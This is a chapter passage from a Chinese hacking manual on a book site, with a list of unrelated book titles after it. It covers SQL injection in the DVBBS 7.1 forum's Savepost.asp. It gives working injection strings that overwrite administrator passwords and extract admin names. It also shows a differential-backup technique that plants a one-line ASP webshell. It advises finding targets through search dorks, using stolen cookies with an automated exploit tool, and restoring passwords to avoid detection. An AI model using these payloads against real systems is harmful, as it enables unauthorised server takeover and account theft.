- 網(wǎng)站入侵與腳本攻防修煉
- 肖遙編著
- 2022字
- 2019-03-01 22:12:53
3.2 Update注入與差異備份
在前面的注入講解中,使用一個Update查詢即可輕松地更新管理員的密碼。其中Update查詢在SQL注入攻擊中,其作用是非常強大的,常常可用在各種復(fù)雜環(huán)境下的SQL注入攻擊中,使用非常靈活。
3.2.1 表單提交與Update
在動網(wǎng)論壇程序DVBBS 7.1的“Savepost.asp”文件中,有一個“Buy_UserList”的變量,該變量未進行嚴格的用戶輸入過濾,導(dǎo)致用戶可以進行注入。而“Buy_UserList”變量又導(dǎo)致另一個名為“ToolsBuyUser”的變量存在注入漏洞, ToolsBuyUser的變量是用戶可以完全控制的。
如果是SQL版本的論壇,攻擊者可以用SQL中的“Update”查詢,修改論壇管理員密碼,或者通過差異備份得Webshell,從而控制整個服務(wù)器。
1.Buy_UserList的未過濾傳遞
存在漏洞的文件是“savepost.asp”,用記事本打開該文件,在其中可看到相關(guān)的代碼語句:
Private GetPostType, ToMoney, UseTools, ToolsBuyUser, GetMoneyType, Tools_UseTools, Tools_LastPostTime, ToolsInfo, ToolsSetting '定義變量
………………代碼省略……………… Buy_VIPType = Request.FORM("Buy_VIPType") Buy_UserList = Request.FORM("Buy_UserList") If Buy_Orders<>"" and IsNumeric(Buy_Orders) Then Buy_Orders = cCur(Buy_Orders) Else Buy_Orders = -1 End If If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0 If Buy_UserList<>"" Then Buy_UserList = Replace (Replace(Replace(Buy_UserList, "— —", ""), "@@@", ""), "$PayMoney", "") ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType &"@@@"&Buy_UserList&"— —$PayMoney— —" GetMoneyType = 3 'UseTools = ToolsInfo(4) End Select End If ………………代碼省略………………
從上面的代碼中,可以看到,先定義了“Buy_UserList”變量,然后通過如下語句獲取變量(見圖31):
Buy_UserList = Request.FORM("Buy_UserList")

圖31 漏洞代碼
在獲取過程中沒有經(jīng)過危險字符過濾,然后進行參數(shù)“GetPostType”值的判斷,當(dāng)其為2時,賦值語句為:
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy _UserList&"— —$PayMoney— —"
“Buy_UserList”未經(jīng)過過濾就提交給了ToolsBuyUser變量。再繼續(xù)向下看代碼:
DIM UbblistBody UbblistBody = Content UbblistBody = Ubblist(Content) SQL="insert into "&TotalUseTable&"(Boardid, ParentID, username, topic, body, DateAndTime, length, RootID, layer, orders, ip, Expression, locktopic, signflag, emailflag, isbest, PostUserID, isupload, IsAudit, Ubblist, GetMoney, UseTools, PostBuyUser, GetMoneyType) values ("&Dvbbs.boardid&", "&ParentID&", ' "&username&"' , '"&topic&"' , ' "&Content&"' , ' "&DateTimeStr&"' , ' "&Dvbbs.strlength (Content)&"' , "&RootID&", "&ilayer&", "&iorders&", ' "&Dvbbs.User TrueIP&"' , ' "&Expression(1)&"' , "&locktopic&", "&signflag&", "&mailflag&",0, "&Dvbbs.userid&", "&ihaveupfile&", "&IsAudit&", '"&UbblistBody&"' , "&ToMoney&", ' "&UseTools&"' , ' "&ToolsBuyUser &"' , "&GetMoneyType&")" Dvbbs.Execute(sql) Set Rs=Dvbbs.Execute("select Max(AnnounceID) From "&Total UseTable&" Where PostUserID="&Dvbbs.UserID) AnnounceID=Rs(0) …………代碼省略…………
在這段代碼中,定義SQL語句,然后執(zhí)行SQL語句。在SQL語句中,明顯調(diào)用了未經(jīng)過濾的“ToolsBuyUser”參數(shù),因此產(chǎn)生了SQL注入漏洞。
2.手工Update提交
由于此注入漏洞是對用戶輸入做了一些限制,直接進行用戶名猜測比較有技術(shù)難度,因此可選擇SQL版本的論壇進行測試。利用百度或者Google,以關(guān)鍵字“Powered By Dvbbs Version 7.1”進行搜索,再從結(jié)果中找到SQL版本論壇即可獲得不少測試目標(biāo)論壇。
首先檢測一下目標(biāo)網(wǎng)站論壇是否存在這個注入漏洞,需要手工檢測。
方法比較簡單,先在論壇注冊一個用戶ID,這里注冊的是“xiaoyao”,隨便找個版面發(fā)帖子。在帖子內(nèi)容下面有個“論壇金幣帖設(shè)置”的選項,在“選擇帖子類型”下拉菜單中選擇“論壇交易帖設(shè)置”(圖32)。
下面會出現(xiàn)一個“可購買名單限制”輸入框,在里面填寫如下內(nèi)容:
xiaoyao' ,0); update/**/Dv_User/**/set/**/UserEmail='123456789 '/**/where[UserName]=' xiaoyao' ; --

圖32 在帖子交易設(shè)置中輸入SQL語句
該SQL語句的功能是,將名為“xiaoyao”的用戶資料中的Email地址改為“123456789”,在攻擊時時可將xiaoyao改為自己注冊的用戶名。
隨便輸入帖子內(nèi)容和主題,其他選項保持默認,單擊“發(fā)表”,帖子內(nèi)容提交成功后,查看自己的用戶資料,可以看到Email地址變?yōu)椤?23456789”了(見圖33)。

圖33 Email信息中顯示了用戶密碼
從上面的測試中看出,論壇程序的“Savepost.asp”存在著注入漏洞,可以進行攻擊。
既然論壇存在著注入漏洞,那么只需要略微地更改一下剛才提交的SQL語句,就可以攻擊任意用戶,包括管理員。
例如,論壇里面有一個名為“admin”的管理員用戶,可以更改該用戶的密碼,冒名發(fā)帖,或者直接對論壇進行管理。在上面發(fā)帖的“可購買名單限制”中輸入如下SQL語句:
123' ,0); update/**/Dv_User/**/set/**/UserPassword=' 49ba59abb e56e057' /**/where[UserName]=' admin' ; --
其中“49ba59abbe56e057”是“123456”的16位MD5加密密文。提交帖子后,提示帖子保存成功(圖34)。發(fā)帖完畢后先退出,然后以用戶名“admin”和密碼“123456”即可成功登錄,獲得管理員的身份。

圖34 提交帖子成功
此外,還可以獲得后臺管理員名稱并修改后臺管理員的密碼,如執(zhí)行如下語句:
123' ,0); update dv_user set UserEmail=(select top 1 username from dv_admin)where username=' xiaoyao' ; --
執(zhí)行語句后,在“xiaoyao”用戶的Email地址信息中就可以看到后臺管理員的用戶名了(圖35)。執(zhí)行如下語句:
123' ,0); update dv_admin set password='49ba59abbe56e057' where username=' admin' ; --
即可將后臺管理員用戶admin的密碼修改為123456。

圖35 后臺獲得管理員用戶名
3.2.2 差異備份獲得Webshell
利用上面的攻擊代碼,攻擊者只需更改一下SQL語句中的用戶名,就可以輕易地更改管理員的密碼進入論壇后臺。當(dāng)知道數(shù)據(jù)庫路徑后,用差異備份之類的方法,可輕易地得到一個Webshell,控制整個服務(wù)器。
1.手工差異備份
用管理員身份登錄后臺后,單擊后臺管理頁面左側(cè)邊欄的“數(shù)據(jù)處理”→“系統(tǒng)信息檢測”,在右邊的頁面中可看到檢測到的服務(wù)器信息。在“本文件路徑”中,就可以看到網(wǎng)站的物理路徑為“C:\web\Admin\data.asp”(見圖36)。

圖36 獲得網(wǎng)站物理路徑
首先,要在數(shù)據(jù)庫中創(chuàng)建一個表,用于存放臨時的代碼,SQL語句為:
create table webshell (str image)
可在剛才的帖子購買用戶名設(shè)置處輸入如下代碼:
123' ,0); create table webshell (str image); --
提交帖子后,就可以創(chuàng)建一個名為Webshell的表了。然后需要備份當(dāng)前的數(shù)據(jù)庫,以免后面?zhèn)浞莼謴?fù)時給數(shù)據(jù)庫造成破壞而影響論壇的使用。SQL查詢語句為:
declare @a sysname select @a=db_name() backup database @a to disk=' C:\Web\data.bak'
可在剛才的帖子購買用戶名設(shè)置處輸入如下代碼:
123' ,0); declare @a sysname select @a=db_name() backup database @a to disk=' C:\Web\data.bak' ; --
提交帖子后,即可將當(dāng)前的數(shù)據(jù)庫備份為到為“C:\Web\data.bak”文件。現(xiàn)在,要將ASP木馬后門插入剛才建立的臨時表Webshell中,這里要插入的ASP木馬需要短小一點,選擇藍屏一句話的木馬后門,其代碼如下:
<%execute request("l")%>
代碼的16進制是:
0x3C2565786563757465207265717565737428226C2229253E
這里可以運行一個叫做“小葵多功能轉(zhuǎn)換工具”的軟件,在上方的“要轉(zhuǎn)的”中輸入物理路徑“C:\Web”,單擊【給我轉(zhuǎn)】按鈕,在下方就可以看到轉(zhuǎn)換后的結(jié)果了(見圖37)。

圖37 小葵多功能轉(zhuǎn)換工具
可在剛才的帖子購買用戶名設(shè)置處輸入如下代碼:
123' ,0); insert into Webshell values(0x3C25657865637574652072 65717565737428226C2229253E); --
該語句是將一句話代碼的16進制插入到Webshell臨時表中。提交帖子執(zhí)行命令后,即可將數(shù)據(jù)表備份生成一個Webshell了。可在剛才的帖子購買用戶名設(shè)置處執(zhí)行如下代碼語句:
123' ,0); declare @a sysname select @a=db_name() backup database @a to disk=' C:\Web\Webshell.asp' with differential;
命令執(zhí)行成功后,就可以獲得一個Webshell了,網(wǎng)頁后門路徑為“C:\Web\webshell.asp”,轉(zhuǎn)換為網(wǎng)址鏈接就是“http://www.binghexijian.com.cn/webshell.asp”。
2.工具自動化備份
另外,在網(wǎng)上有許多已經(jīng)編譯好的直接利用注入漏洞的攻擊工具,使得攻擊變得更加簡單。
運行“動網(wǎng)SQL Savepost.asp漏洞利用程序”,在“論壇地址”中輸入要攻擊的論壇地址,在“Cookie”中輸入登錄論壇后的Cookie信息,然后需要分論壇ID號和管理員的用戶名(圖38)。

圖38 漏洞利用程序的設(shè)置
如何獲得論壇登錄后的Cookie信息呢?可利用桂林老兵的抓取Cookie信息工具“Cookies & Inject Brower”,此程序類似一個瀏覽器,在地址欄中輸入論壇地址,然后進行登錄,在工具欄“Cookies”中即可看到Cookie信息(圖39)。選擇Cookie信息后,單擊鼠標(biāo)右鍵將其復(fù)制,再粘貼到漏洞利用工具中來。
至于分論壇ID號可使用默認的“1”,管理員用戶名也很好查找到,查找發(fā)公告帖或重要帖的用戶,查看其用戶資料中的用戶等級即可。也可以直接單擊頁面中的“用戶列表”鏈接,選擇“會員列表”→“管理團隊”,即可看到所有管理員用戶名了。在“DVBBS標(biāo)識”項一般是不要填寫的,如果在使用程序過程中要求填寫時,再按照要求找到標(biāo)識輸入。

圖39 抓取Cookies信息
設(shè)置完入侵信息后可以進行漏洞檢測,單擊攻擊程序中的【備份管理員密碼】按鈕,首先會彈出提示用戶名和Cookie信息,確認無誤后程序開始備份管理員密碼。操作成功后,下面提示框中會顯示“[成功]: 成功備份管理員admin的密碼到用戶Email ...”(見圖40)。此時返回IE窗口中,查看管理員用戶資料,在Email中就會看到管理員的密碼明文了。

圖40 備份管理員密碼成功提示信息
再單擊【備份后臺密碼】按鈕,備份管理員的后臺登錄密碼。
在攻擊前,首先需要進行的是管理員密碼備份,以便修改管理員密碼后登錄后臺,上傳Webshell后恢復(fù)管理員原來的密碼,這樣不易被管理員發(fā)現(xiàn)論壇被入侵。如果不備份的話,管理員登錄系統(tǒng)時將會發(fā)現(xiàn)自己的密碼被修改,十有八九會猜到是攻擊者攻擊論壇了。
單擊程序界面中的【取得當(dāng)前數(shù)據(jù)庫名】按鈕,下方提示框中顯示“[成功]: 成功取得當(dāng)前數(shù)據(jù)庫名,請人工查看用戶控制面板->密碼修改->密碼問題...”。返回IE窗口,在當(dāng)前登錄狀態(tài)下單擊頁面中的“用戶控制面板”→“密碼修改”,在用戶密碼修改頁面中,可以看到“密碼問題”里顯示為“dvbbs”,說明當(dāng)前數(shù)據(jù)庫名稱為“dvbbs”(見圖41)。

圖41 獲取當(dāng)前論壇數(shù)據(jù)庫名
單擊程序界面中的【更改管理員密碼】和【更改后臺密碼】按鈕,程序?qū)詣訉⒐芾韱T的前臺與后臺密碼更改為默認的“admin888”。
用更改后的密碼登錄論壇后臺,單擊后臺管理頁面中的“數(shù)據(jù)處理”→“系統(tǒng)信息檢測”,在右邊頁面中的“服務(wù)器相關(guān)信息”→“本文件路徑”中,可以看到論壇的Web路徑為“C:\web”。
記下該路徑,然后返回攻擊程序頁面,在“站點根目錄”中輸入剛才得到的Web路徑“C%3A%5CWeb”,見圖42,這里把“\”換為了“%5C”, “:”轉(zhuǎn)換為“%3A”。再輸入剛才得到的數(shù)據(jù)庫名“dvbbs”。

圖42 論壇路徑要轉(zhuǎn)換代碼
最后單擊下方的【log備份】按鈕(圖43)。程序?qū)⒆詣渔i死12秒,開始上傳Webshell,在上傳過程中會要求多次確認用戶名及Cookie信息。

圖43 攻擊設(shè)置
上傳完畢后,提示成功信息(圖44),此時可以檢測網(wǎng)站目錄下是否存在“emissary.asp”文件,在瀏覽器中輸入地址(圖45):

圖44 上傳Webshell控制服務(wù)器
http://www.binghexijian.com.cn/emissary.asp

圖45 單擊【OK】按鈕后輸入地址
上傳的木馬是冰狐浪子ASP服務(wù)端木馬,用冰狐浪子ASP木馬客戶端連接即可控制整個服務(wù)器了!
- 基于LabWindows/CVI的虛擬儀器設(shè)計與應(yīng)用
- Mobile DevOps
- 計算機網(wǎng)絡(luò)技術(shù)實訓(xùn)
- WordPress Theme Development Beginner's Guide(Third Edition)
- 新手學(xué)電腦快速入門
- Troubleshooting OpenVPN
- 悟透AutoCAD 2009完全自學(xué)手冊
- Kubernetes for Serverless Applications
- Visual FoxPro數(shù)據(jù)庫基礎(chǔ)及應(yīng)用
- 電腦上網(wǎng)輕松入門
- 企業(yè)級Web開發(fā)實戰(zhàn)
- 計算機硬件技術(shù)基礎(chǔ)學(xué)習(xí)指導(dǎo)與練習(xí)
- 51單片機應(yīng)用程序開發(fā)與實踐
- Cisco UCS Cookbook
- 創(chuàng)客機器人實戰(zhàn):基于Arduino和樹莓派